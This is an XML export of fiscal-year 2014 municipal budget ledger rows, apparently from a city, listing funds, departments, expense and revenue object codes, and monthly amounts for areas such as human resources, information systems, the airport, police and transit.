<row _id="6456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>406900.0</object><object_description>DIVCA REV FOR PEG FACILITIES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17151.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17151.0</total></row>
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<row _id="6464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1480.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1480.0</total></row>
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<row _id="6467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>161129.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>161129.0</total></row>
<row _id="6468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2566.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2566.0</total></row>
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<row _id="6470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7175.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7175.0</total></row>
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<row _id="6472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>433.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>433.0</total></row>
<row _id="6473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50.0</total></row>
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<row _id="6477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403820.0</object><object_description>SUMMER FOOD SERVICE PROGRAM</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-22045.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-22045.0</total></row>
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<row _id="6479"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2278.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2278.0</total></row>
<row _id="6480"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>288.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>288.0</total></row>
<row _id="6481"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11851.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11851.0</total></row>
<row _id="6482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>247961.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>247961.0</total></row>
<row _id="6483"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>792.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>792.0</total></row>
<row _id="6484"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10114.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10114.0</total></row>
<row _id="6485"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6369.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6369.0</total></row>
<row _id="6486"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-118000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-118000.0</total></row>
<row _id="6487"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>402660.0</object><object_description>FUTURE REPLACEMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1625313.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1625313.0</total></row>
<row _id="6488"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>626</division_id><division_name>PIER DIVISION</division_name><object>402030.0</object><object_description>CAROUSEL OPERATION</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6489"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10317.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10317.0</total></row>
<row _id="6490"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>538.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>538.0</total></row>
<row _id="6491"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2017.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2017.0</total></row>
<row _id="6492"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>409.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>409.0</total></row>
<row _id="6493"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>250.0</total></row>
<row _id="6495"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="6496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1850.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1850.0</total></row>
<row _id="6497"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2614.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2614.0</total></row>
<row _id="6498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>130.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>130.0</total></row>
<row _id="6499"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533070.0</object><object_description>AIRPORT SECURITY GUARDS TRANS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>653202.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>653202.0</total></row>
<row _id="6500"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533170.0</object><object_description>AUDIO EQUIPMENT MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18505.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18505.0</total></row>
<row _id="6501"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>446052.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>446052.0</total></row>
<row _id="6502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>566210.0</object><object_description>AIRPORT FIELD MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3764.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3764.0</total></row>
<row _id="6503"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>330285.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>330285.0</total></row>
<row _id="6504"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>269473.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>269473.0</total></row>
<row _id="6505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>34257.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34257.0</total></row>
<row _id="6506"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6507"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>MEDICAL-POLICE RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>101353.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>101353.0</total></row>
<row _id="6508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>32780.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32780.0</total></row>
<row _id="6509"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4200.0</total></row>
<row _id="6510"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10250.0</total></row>
<row _id="6511"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="6512"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-FIN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-708013.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-708013.0</total></row>
<row _id="6513"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8951.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8951.0</total></row>
<row _id="6514"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404081.0</object><object_description>INTEREST - PROP 1B-SECURITY</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-10858.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10858.0</total></row>
<row _id="6515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>407930.0</object><object_description>GARDENSOFT WEBSITE PARTNR FUND</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-7500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7500.0</total></row>
<row _id="6516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407940.0</object><object_description>GREEN BUILDING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-187425.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-187425.0</total></row>
